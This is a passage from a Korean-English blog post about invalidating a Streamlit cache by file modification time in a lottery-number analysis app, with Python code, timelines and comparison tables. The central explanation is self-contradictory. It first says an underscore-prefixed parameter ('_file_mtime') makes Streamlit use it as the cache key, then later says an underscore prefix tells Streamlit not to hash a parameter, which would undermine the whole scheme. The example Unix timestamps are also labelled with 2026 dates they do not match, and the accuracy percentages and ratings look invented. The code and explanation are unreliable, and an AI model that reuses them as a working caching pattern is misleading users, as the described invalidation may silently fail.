this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;569&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1495&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  mtime이란? (What is mtime?)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;mtime (Modification Time)&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일이 &lt;b&gt;마지막으로 수정된 시간 (Last Modified Time)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Unix 타임스탬프 형식 (Unix Timestamp Format)&lt;/li&gt;
&lt;li&gt;파일 메타데이터에 자동 저장 (Auto-stored in File Metadata)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 (Example):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import os

csv_path = &quot;Data/645_251227.csv&quot;
mtime = os.path.getmtime(csv_path)

print(f&quot;mtime: {mtime}&quot;)  # 1704355200.123456
print(f&quot;Human: {datetime.fromtimestamp(mtime)}&quot;)  # 2026-01-04 14:00:00&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일 변경 시 (When File Changes):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Before: mtime = 1704355200.123456
        (2026-01-04 14:00:00)

[CSV 파일 업데이트 (CSV File Updated)]

After:  mtime = 1704441600.654321
        (2026-01-05 14:00:00)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;mtime이 바뀌면 파일이 변경된 것! (If mtime changes, file was modified!)&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  동적 캐싱 플로우 (Dynamic Caching Flow)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 1: 데이터 요청 (Request Data)&lt;/h4&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 사용자가 페이지 접속 (User visits page)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 2: CSV mtime 확인 (Get CSV mtime)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def get_csv_file_mtime():
    &quot;&quot;&quot;CSV 파일 수정 시간 반환 (Return CSV file modification time)&quot;&quot;&quot;
    csv_path = os.path.join(
        os.path.dirname(__file__),
        &quot;..&quot;,
        &quot;Data&quot;,
        &quot;645_251227.csv&quot;
    )
    return os.path.getmtime(csv_path)

mtime = get_csv_file_mtime()  # 1704441600.654321&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 3: 캐시 확인 (Check Cache with mtime)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_data(ttl=60)  # 60초 TTL (60 sec TTL)
def load_lotto_data(_file_mtime):
    &quot;&quot;&quot;
    데이터 로딩 (파일 수정 시간 기반 캐싱)
    Data Loading (mtime-based Caching)

    Args:
        _file_mtime: 파일 수정 시간 (File modification time)
                     언더스코어(_)는 Streamlit에게 &quot;이 값으로 캐시 키를 만들어&quot;라고 알림
                     (Underscore tells Streamlit &quot;use this as cache key&quot;)
    &quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader

# 사용 (Usage)
data = load_lotto_data(mtime)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;캐시 키 동작 원리 (Cache Key Mechanism):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;첫 번째 호출 (First Call):
└─&amp;gt; load_lotto_data(1704355200.123456)
    └─&amp;gt; 캐시 없음 (No cache)
    └─&amp;gt; 데이터 로딩 (2.5초, Load data 2.5 sec)
    └─&amp;gt; 캐시 저장: key=&quot;1704355200.123456&quot;

두 번째 호출 (Second Call):
└─&amp;gt; load_lotto_data(1704355200.123456)
    └─&amp;gt; 캐시 히트! (Cache HIT!)
    └─&amp;gt; 즉시 반환 (0.5초, Return immediately 0.5 sec)

CSV 업데이트 후 (After CSV Update):
└─&amp;gt; mtime 변경 (mtime changed): 1704441600.654321
└─&amp;gt; load_lotto_data(1704441600.654321)
    └─&amp;gt; 캐시 미스! (Cache MISS!) - 새로운 키 (new key)
    └─&amp;gt; 데이터 재로딩 (2.5초, Reload data 2.5 sec)
    └─&amp;gt; 새 캐시 저장: key=&quot;1704441600.654321&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  핵심 포인트 (Key Points)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;_file_mtime&lt;/code&gt; 파라미터 (Parameter)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;언더스코어(&lt;code&gt;_&lt;/code&gt;)로 시작 &amp;rarr; Streamlit 캐시 키로 사용 (Streamlit uses as cache key)&lt;/li&gt;
&lt;li&gt;mtime 값이 바뀌면 &amp;rarr; 새로운 캐시 키 &amp;rarr; 캐시 미스 (New cache key = Cache miss)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;ttl=60&lt;/code&gt;&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Time To Live = 60초 (60 seconds)&lt;/li&gt;
&lt;li&gt;60초마다 mtime 재확인 (Recheck mtime every 60 sec)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자동 갱신 (Auto-refresh)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 아무것도 안 해도 (User does nothing)&lt;/li&gt;
&lt;li&gt;파일 변경 시 자동으로 새 데이터 로딩 (Auto-load new data when file changes)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 캐시 무효화 프로세스 (Cache Invalidation Process)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2385&quot; data-origin-height=&quot;1183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ptltw/dJMcai9O566/4LnsJ21tiKioEtUKmnQqDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ptltw/dJMcai9O566/4LnsJ21tiKioEtUKmnQqDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ptltw/dJMcai9O566/4LnsJ21tiKioEtUKmnQqDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPtltw%2FdJMcai9O566%2F4LnsJ21tiKioEtUKmnQqDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;808&quot; height=&quot;401&quot; data-origin-width=&quot;2385&quot; data-origin-height=&quot;1183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;❌ Before: 정적 캐싱의 문제 (Static Cache Problem)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;타임라인 (Timeline):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;10:00 AM  - 앱 시작 (App Start)
            └─&amp;gt; 데이터 로딩 (Load data)
            └─&amp;gt; 캐시 생성 (Cache created)

10:00:30  - 캐시 생성 완료 (Cache Ready)
            └─&amp;gt; mtime: 1704355200

2:00 PM   - CSV 파일 업데이트! (CSV Updated!)
            └─&amp;gt; 새로운 회차 추가 (New round added)
            └─&amp;gt; mtime: 1704366000 (변경됨, changed)

2:05 PM   - 사용자 요청 (User Request)
            └─&amp;gt; 캐시 히트 (Cache HIT)
            └─&amp;gt; ❌ 구데이터 반환 (Returns OLD data!)
            └─&amp;gt; 사용자는 새 회차를 못 봄 (User doesn't see new round)

... 4시간 경과 (4 hours pass) ...

6:30 PM   - 앱 재시작 (App Restart)
            └─&amp;gt; 캐시 초기화 (Cache cleared)
            └─&amp;gt; ✅ 새 데이터 로딩 (Load new data)
            └─&amp;gt; 드디어 새 회차 표시 (Finally shows new round)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점 (Problems):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ &lt;b&gt;4시간 지연 (4 hour delay)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;수동 재시작 필요 (Need manual restart)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;❌ &lt;b&gt;나쁜 사용자 경험 (Poor UX)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ After: 동적 캐싱의 해결 (Dynamic Cache Solution)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;타임라인 (Timeline):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;10:00 AM  - 앱 시작 (App Start)
            └─&amp;gt; 데이터 로딩 (Load data)
            └─&amp;gt; 캐시 생성 (Cache created)

10:00:30  - 캐시 생성 완료 (Cache Ready)
            └─&amp;gt; 캐시 키: mtime=1704355200

2:00 PM   - CSV 파일 업데이트! (CSV Updated!)
            └─&amp;gt; 새로운 회차 추가 (New round added)
            └─&amp;gt; mtime: 1704366000 (변경됨, changed)

2:05 PM   - 사용자 요청 (User Request)
            └─&amp;gt; mtime 확인 (Check mtime): 1704366000
            └─&amp;gt; 캐시 키 불일치 (Cache key mismatch)!
            └─&amp;gt; 캐시 미스 (Cache MISS)
            └─&amp;gt; 자동 재로딩 (Auto reload)

2:05:03   - 새 데이터 반환 (Return New Data)
            └─&amp;gt; ✅ 최신 데이터! (Fresh data!)
            └─&amp;gt; 새 회차 즉시 표시 (New round shown immediately)
            └─&amp;gt; 총 3초 소요 (Total 3 seconds)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Advantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ &lt;b&gt;3초 만에 최신 데이터 (Fresh data in 3 sec)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;자동 갱신 (Auto-refresh)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;재시작 불필요 (No restart needed)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 성능 비교 (Performance Comparison)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqtSFg/dJMcaaYjo20/WwkMb5GmcNNiSShZkBN98k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqtSFg/dJMcaaYjo20/WwkMb5GmcNNiSShZkBN98k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqtSFg/dJMcaaYjo20/WwkMb5GmcNNiSShZkBN98k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqtSFg%2FdJMcaaYjo20%2FWwkMb5GmcNNiSShZkBN98k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;860&quot; height=&quot;609&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  4가지 메트릭 비교 (4 Metrics Comparison)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ 응답 시간 (Response Time)&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시나리오 (Scenario)&lt;/th&gt;
&lt;th&gt;정적 캐시 (Static)&lt;/th&gt;
&lt;th&gt;동적 캐시 (Dynamic)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;첫 로딩 (First Load)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;2.5초&lt;/td&gt;
&lt;td&gt;2.5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;캐시됨 - 변경 없음 (Cached - No Update)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0.5초&lt;/td&gt;
&lt;td&gt;0.5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;캐시됨 - 업데이트 후 (Cached - After Update)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0.5초 ❌&lt;/td&gt;
&lt;td&gt;2.8초 ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 차이 (Key Difference):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정적 캐시 (Static): 빠르지만 &lt;b&gt;잘못된 데이터 (Wrong data)&lt;/b&gt; ❌&lt;/li&gt;
&lt;li&gt;동적 캐시 (Dynamic): 약간 느리지만 &lt;b&gt;올바른 데이터 (Correct data)&lt;/b&gt; ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣ 데이터 정확도 (Data Accuracy)&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방식 (Method)&lt;/th&gt;
&lt;th&gt;정확도 (Accuracy)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;정적 캐시 (Static Cache)&lt;/td&gt;
&lt;td&gt;70% ⚠️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;동적 캐시 (Dynamic Cache)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;100%&lt;/b&gt; ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 70%인가? (Why 70%)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업데이트 전: 100% 정확 (Before update: 100% accurate)&lt;/li&gt;
&lt;li&gt;업데이트 후: 0% 정확 (구데이터, After update: 0% - stale data)&lt;/li&gt;
&lt;li&gt;평균: 약 70% (Average: ~70%)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣ 캐시 히트율 (Cache Hit Rate)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;10번 요청 시나리오 (10 Requests Scenario):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;요청 1-5: 캐시 미스 &amp;rarr; 히트 &amp;rarr; 히트 &amp;rarr; 히트 &amp;rarr; 히트
요청 6: CSV 업데이트 발생 (CSV updated)
요청 7-10: 히트 &amp;rarr; 히트 &amp;rarr; 히트 &amp;rarr; 히트&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정적 캐시 (Static Cache):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;히트율 (Hit Rate): 80% (8/10)&lt;/li&gt;
&lt;li&gt;하지만 요청 7-10은 잘못된 데이터! (But requests 7-10 return wrong data!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동적 캐시 (Dynamic Cache):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;히트율 (Hit Rate): 70% (7/10)&lt;/li&gt;
&lt;li&gt;요청 7은 미스지만 올바른 데이터! (Request 7 is miss but returns correct data!)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정확도 100%&lt;/b&gt; ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4️⃣ 종합 평가 (Overall Evaluation)&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기준 (Criteria)&lt;/th&gt;
&lt;th&gt;정적 캐시 (Static)&lt;/th&gt;
&lt;th&gt;동적 캐시 (Dynamic)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;속도 (Speed)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5)&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;정확도 (Accuracy)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐ (3/5)&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;최신성 (Freshness)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐ (2/5)&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;자동 갱신 (Auto-refresh)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐ (1/5)&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;사용 편의성 (Ease of Use)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐ (4/5)&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ (5/5) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론 (Conclusion):&lt;/b&gt; 동적 캐시가 압도적 우위! (Dynamic Cache dominates!)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 실전 구현 (Practical Implementation)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/96ydc/dJMcahQFuMi/jdBq1X3pkwGkSDBDQf71bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/96ydc/dJMcahQFuMi/jdBq1X3pkwGkSDBDQf71bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/96ydc/dJMcahQFuMi/jdBq1X3pkwGkSDBDQf71bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F96ydc%2FdJMcahQFuMi%2FjdBq1X3pkwGkSDBDQf71bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2070&quot; height=&quot;1499&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 4계층 아키텍처 (4-Layer Architecture)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;계층 1: 사용자 인터페이스 (User Interface Layer)&lt;/h4&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# Streamlit UI
st.title(&quot;  번호 추천&quot;)

# 사용자 요청 (User Request)
if st.button(&quot;번호 생성 (Generate)&quot;):
    recommendations = recommender.generate_hybrid(5)
    display_results(recommendations)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;계층 2: 캐싱 계층 (Caching Layer)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;@st.cache_data(ttl=60)  # 60초 TTL (60 sec TTL)
def load_lotto_data(_file_mtime):
    &quot;&quot;&quot;
    데이터 로딩 (파일 수정 시간 기반 캐싱)
    Data Loading (mtime-based Caching)

    Args:
        _file_mtime: 파일 수정 시간 (캐시 키, Cache key)
    &quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;@st.cache_data&lt;/code&gt; 데코레이터 (Decorator):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;ttl=60&lt;/code&gt;: 60초마다 재확인 (Recheck every 60 sec)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_file_mtime&lt;/code&gt;: 캐시 키로 사용 (Used as cache key)&lt;/li&gt;
&lt;li&gt;자동 캐시 관리 (Auto cache management)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;계층 3: 데이터 처리 계층 (Data Processing Layer)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;class LottoDataLoader:
    &quot;&quot;&quot;로또 데이터 로더 (Lotto Data Loader)&quot;&quot;&quot;

    def load_data(self):
        &quot;&quot;&quot;CSV 파일 로딩 (Load CSV file)&quot;&quot;&quot;
        self.df = pd.read_csv(self.csv_path, encoding='utf-8-sig', skiprows=1)

    def preprocess(self):
        &quot;&quot;&quot;데이터 전처리 (Preprocess data)&quot;&quot;&quot;
        # 타입 변환, 정제 등 (Type conversion, cleaning, etc.)

    def extract_numbers(self):
        &quot;&quot;&quot;당첨번호 추출 (Extract winning numbers)&quot;&quot;&quot;
        # 숫자 컬럼 파싱 (Parse number columns)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;계층 4: 파일 시스템 계층 (File System Layer)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import os

def get_csv_file_mtime():
    &quot;&quot;&quot;CSV 파일 수정 시간 반환 (Return CSV file mtime)&quot;&quot;&quot;
    csv_path = os.path.join(
        os.path.dirname(__file__),
        &quot;..&quot;,
        &quot;Data&quot;,
        &quot;645_251227.csv&quot;
    )

    if not os.path.exists(csv_path):
        raise FileNotFoundError(f&quot;CSV not found: {csv_path}&quot;)

    return os.path.getmtime(csv_path)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;os.path.getmtime()&lt;/code&gt;:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 메타데이터에서 mtime 추출 (Extract mtime from file metadata)&lt;/li&gt;
&lt;li&gt;Unix 타임스탬프 반환 (Returns Unix timestamp)&lt;/li&gt;
&lt;li&gt;파일이 없으면 에러 (Error if file doesn't exist)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  완전한 구현 (Complete Implementation)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일: &lt;code&gt;src/web_app.py&lt;/code&gt; (일부, Partial)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import streamlit as st
import os
from datetime import datetime
from data_loader import LottoDataLoader
from prediction_model import LottoPredictionModel
from recommendation_system import LottoRecommendationSystem

# ============================================
# 헬퍼 함수 (Helper Functions)
# ============================================

def get_csv_file_mtime():
    &quot;&quot;&quot;
    CSV 파일 수정 시간 반환 (Return CSV file modification time)

    Returns:
        float: Unix 타임스탬프 (Unix timestamp)
    &quot;&quot;&quot;
    csv_path = os.path.join(
        os.path.dirname(__file__),
        &quot;..&quot;,
        &quot;Data&quot;,
        &quot;645_251227.csv&quot;
    )

    if not os.path.exists(csv_path):
        raise FileNotFoundError(f&quot;CSV file not found: {csv_path}&quot;)

    return os.path.getmtime(csv_path)

# ============================================
# 캐싱 함수 (Caching Functions)
# ============================================

@st.cache_data(ttl=60)
def load_lotto_data(_file_mtime):
    &quot;&quot;&quot;
    데이터 로딩 (파일 수정 시간 기반 캐싱)
    Data Loading (mtime-based Caching)

    Args:
        _file_mtime: 파일 수정 시간 (File modification time)
                     언더스코어는 Streamlit에게 &quot;이 값으로 캐시 키를 만들어&quot;라고 알림
                     (Underscore tells Streamlit to use this as cache key)

    Returns:
        LottoDataLoader: 로딩된 데이터 (Loaded data)
    &quot;&quot;&quot;
    loader = LottoDataLoader(&quot;../Data/645_251227.csv&quot;)
    loader.load_data()
    loader.preprocess()
    loader.extract_numbers()
    return loader

@st.cache_resource
def load_prediction_model(_loader):
    &quot;&quot;&quot;
    예측 모델 로딩 (Load prediction model)

    Args:
        _loader: LottoDataLoader 인스턴스 (instance)
                 언더스코어는 Streamlit에게 &quot;이 객체로 캐시하지 마&quot;라고 알림
                 (Underscore tells Streamlit not to hash this object)

    Returns:
        LottoPredictionModel: 학습된 모델 (Trained model)
    &quot;&quot;&quot;
    model = LottoPredictionModel(_loader)
    model.train_all_patterns()
    return model

@st.cache_resource
def load_recommender(_model):
    &quot;&quot;&quot;
    추천 시스템 로딩 (Load recommender system)

    Args:
        _model: LottoPredictionModel 인스턴스 (instance)

    Returns:
        LottoRecommendationSystem: 추천 시스템 (Recommender)
    &quot;&quot;&quot;
    return LottoRecommendationSystem(_model)

# ============================================
# 메인 함수 (Main Function)
# ============================================

def main():
    &quot;&quot;&quot;메인 함수 (Main function)&quot;&quot;&quot;

    # 페이지 설정 (Page Configuration)
    st.set_page_config(
        page_title=&quot;로또 645 분석 (Lotto 645 Analysis)&quot;,
        page_icon=&quot; &quot;,
        layout=&quot;wide&quot;
    )

    # 파일 수정 시간 확인 (Get file modification time)
    file_mtime = get_csv_file_mtime()

    # 디버그 정보 (Debug Info - Optional)
    # st.sidebar.text(f&quot;mtime: {file_mtime}&quot;)
    # st.sidebar.text(f&quot;Date: {datetime.fromtimestamp(file_mtime)}&quot;)

    # 데이터 로딩 (Load Data)
    loader = load_lotto_data(file_mtime)  # &amp;larr; mtime 파라미터 전달 (Pass mtime)

    # 모델 로딩 (Load Model)
    model = load_prediction_model(loader)

    # 추천 시스템 로딩 (Load Recommender)
    recommender = load_recommender(model)

    # 페이지 라우팅 (Page Routing)
    # ... (나머지 페이지 코드, Rest of page code)

if __name__ == &quot;__main__&quot;:
